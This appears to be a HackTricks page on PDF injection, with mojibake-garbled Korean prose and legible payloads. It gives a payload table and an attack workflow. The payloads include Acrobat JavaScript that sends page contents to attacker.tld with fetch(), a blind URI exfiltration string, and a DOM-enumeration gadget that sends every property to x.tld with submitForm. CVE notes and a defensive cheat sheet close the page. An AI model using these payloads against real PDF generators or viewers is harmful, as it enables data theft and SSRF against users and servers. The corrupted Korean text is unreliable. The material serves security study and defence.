PDF Injection
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
PDF ํ์ผ ๋ด์์ ์ ๋ ฅ์ด ๋ฐ์๋๋ ๊ฒฝ์ฐ, JavaScript๋ฅผ ์คํํ๊ฑฐ๋ SSRF๋ฅผ ์ํํ๊ฑฐ๋ PDF ์ฝํ ์ธ ๋ฅผ ํ์น๊ธฐ ์ํด PDF ๋ฐ์ดํฐ๋ฅผ ์ฃผ์ ํ ์ ์์ต๋๋ค. PDF ๊ตฌ๋ฌธ์ ๋งค์ฐ ๊ด๋ํฉ๋๋ค โ ์ ๋ ฅ์ ํฌํจํ๋ ๋ฌธ์์ด์ด๋ ์ฌ์ ์์ ๋ฒ์ด๋ ์ ์๋ค๋ฉด, Acrobat/Chrome์ด ๊ธฐ๊บผ์ด ๊ตฌ๋ฌธ ๋ถ์ํ ์๋ก์ด ๊ฐ์ฒด(๋๋ ๋์ผํ ๊ฐ์ฒด์ ์๋ก์ด ํค)๋ฅผ ์ถ๊ฐํ ์ ์์ต๋๋ค. 2024๋ ๋ถํฐ ๋ฒ๊ทธ ๋ฐ์ดํฐ ๋ณด๊ณ ์์ ๋ฌผ๊ฒฐ์ด ํ๋์ ์ด์ค์ผ์ดํ๋์ง ์์ ๊ดํธ๋ ๋ฐฑ์ฌ๋์๋ก๋ ์ ์ฒด ์คํฌ๋ฆฝํธ ์คํ์ด ๊ฐ๋ฅํ๋ค๋ ๊ฒ์ ๋ณด์ฌ์ฃผ์์ต๋๋ค.
TL;DR โ ํ๋ ๊ณต๊ฒฉ ์ํฌํ๋ก์ฐ (2024)
- ์์ฑ๋ PDF์ (๊ดํธ ๋ฌธ์์ด),
/URI ( โฆ )๋๋/JS ( โฆ )ํ๋ ๋ด์ ์์นํ๋ ์ฌ์ฉ์ ์ ์ด ๊ฐ ์ฐพ๊ธฐ. )(๋ฌธ์์ด ๋ซ๊ธฐ) ๋ค์์ ์๋์ ์์ ์ค ํ๋๋ฅผ ์ฃผ์ ํ๊ณ ๊ตฌ๋ฌธ์ ์ ํจํ๊ฒ ์ ์งํ๊ธฐ ์ํด ๋ ๋ค๋ฅธ ์ฌ๋ ๊ดํธ๋ก ๋ง๋ฌด๋ฆฌํฉ๋๋ค.- ์ ์ฑ PDF๋ฅผ ํผํด์์๊ฒ ์ ๋ฌํ๊ฑฐ๋(๋๋ ํ์ผ์ ์๋์ผ๋ก ๋ ๋๋งํ๋ ๋ฐฑ์๋ ์๋น์ค์ ์ ๋ฌ โ ๋ธ๋ผ์ธ๋ ๋ฒ๊ทธ์ ์ ์ฉ).
- PDF ๋ทฐ์ด์์ ํ์ด๋ก๋๊ฐ ์คํ๋ฉ๋๋ค:
- Chrome / Edge โ PDFium Sandbox
- Firefox โ PDF.js (CVE-2024-4367 ์ฐธ์กฐ)
- Acrobat โ ์ ์ฒด JavaScript API (์์ ํ์ผ ๋ด์ฉ์
this.getPageNthWord๋ก ์ ์ถํ ์ ์์)
์์ (์ฃผ์ ๋งํฌ ํ์ด์ฌํน):
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
์ฒซ ๋ฒ์งธ )๋ ์๋ URI ๋ฌธ์์ด์ ๋ซ๊ณ , ์ฌ์ฉ์๊ฐ ๋งํฌ๋ฅผ ํด๋ฆญํ ๋ Acrobat์ด ์คํํ ์๋ก์ด Action ์ฌ์ ์ ์ถ๊ฐํฉ๋๋ค.
์ ์ฉํ ์ฃผ์ ์์
| ๋ชฉํ | ํ์ด๋ก๋ ์ค๋ํซ | ๋น๊ณ |
|---|---|---|
| ์ด ๋ JavaScript | /OpenAction << /S /JavaScript /JS (app.alert(1)) >> | ๋ฌธ์๊ฐ ์ด๋ฆด ๋ ์ฆ์ ์คํ๋ฉ๋๋ค (Acrobat์์ ์๋, Chrome์์๋ ์๋ํ์ง ์์). |
| ๋งํฌ์์ JavaScript | /A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >> | /Link ์ฃผ์์ ์ ์ดํ ๊ฒฝ์ฐ PDFium ๋ฐ Acrobat์์ ์๋ํฉ๋๋ค. |
| ๋ธ๋ผ์ธ๋ ๋ฐ์ดํฐ ์ ์ถ | << /Type /Action /S /URI /URI (https://attacker.tld/?leak=) | JS ๋ด์์ this.getPageNthWord์ ๊ฒฐํฉํ์ฌ ์ฝํ
์ธ ๋ฅผ ํ์นฉ๋๋ค. |
| ์๋ฒ ์ธก SSRF | ์์ ๋์ผํ์ง๋ง ๋ด๋ถ URL์ ํ๊ฒ์ผ๋ก ์ค์ โ PDF๊ฐ /URI๋ฅผ ์กด์คํ๋ ๋ฐฑ์คํผ์ค ์๋น์ค์ ์ํด ๋ ๋๋ง๋ ๋ ์ ์ฉํฉ๋๋ค. | |
| ์ ๊ฐ์ฒด๋ฅผ ์ํ ์ค ๋ฐ๊ฟ | \nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj | ๋ผ์ด๋ธ๋ฌ๋ฆฌ๊ฐ ์ ์ค ๋ฌธ์๋ฅผ ์ฃผ์ ํ ์ ์๊ฒ ํ์ฉํ๋ฉด ์์ ํ ์๋ก์ด ๊ฐ์ฒด๋ฅผ ์์ฑํ ์ ์์ต๋๋ค. |
๋ธ๋ผ์ธ๋ ์ด๊ฑฐ ํธ๋ฆญ
Gareth Heyes (PortSwigger)๋ ์ ์ ์๋ ๋ฌธ์ ๋ด์ ๋ชจ๋ ๊ฐ์ฒด๋ฅผ ์ด๊ฑฐํ๋ ์๋ผ์ด๋๋ฅผ ๋ฐํํ์ต๋๋ค โ ์์ฑ๋ PDF๋ฅผ ๋ณผ ์ ์์ ๋ ์ ์ฉํฉ๋๋ค:
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
์ฝ๋๋ Acrobat DOM์ ๋ฐ๋ณตํ๋ฉฐ ๋ชจ๋ ์์ฑ/๊ฐ ์์ ๋ํด ์ธ๋ถ ์์ฒญ์ ์ํํ์ฌ ํ์ผ์ JSON-ish ๋คํ๋ฅผ ์ ๊ณตํฉ๋๋ค. ์ ์ฒด ๊ธฐ์ ์ ๋ํ ๋ด์ฉ์ ๋ฐฑ์ โPortable Data exFiltrationโ์ ์ฐธ์กฐํ์ญ์์ค.
์ค์ ๋ฒ๊ทธ (2023-2025)
- CVE-2024-4367 โ Firefox์ PDF.js 4.2.67 ์ด์ ์์ ์์์ JavaScript ์คํ์ด ์กฐ์๋
/JavaScript์์ ์ผ๋ก ์๋๋ฐ์ค๋ฅผ ์ฐํํ์ต๋๋ค. - ๋ฒ๊ทธ ๋ฐ์ดํฐ 2024-05 โ ์ฃผ์ ํํ
ํฌ๊ฐ ๊ณ ๊ฐ ์ ๊ณต ์ก์ฅ ๋
ธํธ๋ฅผ
/URI์ ํ์ฉํ์ผ๋ฉฐ,file:///URI๋ฅผ ์ฌ์ฉํ์ฌ ๋ด๋ถ ๋ฉํ๋ฐ์ดํฐ ํธ์คํธ์ ๋ํ SSRF๋ฅผ ์์ฐํ ํ ๋ณด๊ณ ์์ $10k๊ฐ ์ง๊ธ๋์์ต๋๋ค. - CVE-2023-26155 โ ๋น์ ์์ ์ธ PDF ๊ฒฝ๋ก๋ฅผ ํตํ
node-qpdf๋ช ๋ น ์ฃผ์ ์ PDF ๋ ์ด์ด ์ด์ ์ ๋ฐฑ์ฌ๋์์ ๊ดํธ๋ฅผ ์ด์ค์ผ์ดํํ๋ ๊ฒ์ ์ค์์ฑ์ ๋ณด์ฌ์ค๋๋ค.
๋ฐฉ์ด์ฉ ์นํธ์ํธ
- ์ ๋ ์ฌ์ฉ์ ์
๋ ฅ์
(โฆ)๋ฌธ์์ด์ด๋ ์ด๋ฆ์ ์ฐ๊ฒฐํ์ง ๋ง์ญ์์ค. PDF ์ฌ์ ยง7.3์ ๋ฐ๋ผ ํ์ํ ๊ฒฝ์ฐ\,(,)๋ฅผ ์ด์ค์ผ์ดํํ๊ฑฐ๋ 16์ง์ ๋ฌธ์์ด<...>์ ์ฌ์ฉํ์ญ์์ค. - ๋งํฌ๋ฅผ ์์ฑํ ๊ฒฝ์ฐ,
/URI (https://โฆ)๋ฅผ ์ ํธํ๋ฉฐ ์์ ํ URL ์ธ์ฝ๋ฉํ์ญ์์ค; ํด๋ผ์ด์ธํธ ๋ทฐ์ด์์javascript:์คํด์ ์ฐจ๋จํ์ญ์์ค. - PDF ํ์ฒ๋ฆฌ ์
/OpenAction,/AA(์ถ๊ฐ ์์ ),/Launch,/SubmitForm๋ฐ/ImportData์ฌ์ ์ ์ ๊ฑฐํ๊ฑฐ๋ ๊ฒ์ฆํ์ญ์์ค. - ์๋ฒ ์ธก์์๋ ์ ๋ขฐํ ์ ์๋ PDF๋ฅผ JavaScript ๋ฐ ์ธ๋ถ ์์ ์ ์ ๊ฑฐํ๋ ํค๋๋ฆฌ์ค ๋ณํ๊ธฐ (์: qpdf โdecrypt โlinearize)๋ก ๋ ๋๋งํ์ญ์์ค.
- PDF ๋ทฐ์ด๋ฅผ ์ต์ ์ํ๋ก ์ ์งํ์ญ์์ค; PDF.js < 4.2.67 ๋ฐ 2024๋ 7์ ์ด์ ์ Acrobat Reader๋ ์ฌ์ํ ์ฝ๋ ์คํ์ ํ์ฉํฉ๋๋ค.
์ฐธ๊ณ ๋ฌธํ
- Gareth Heyes, โPortable Data exFiltration โ XSS for PDFsโ, PortSwigger Research (2024๋ 5์ ์ ๋ฐ์ดํธ). https://portswigger.net/research/portable-data-exfiltration
- Dawid Ryลko, โCVE-2024-4367: Arbitrary JavaScript Execution in PDF.jsโ (2024๋ 4์). https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


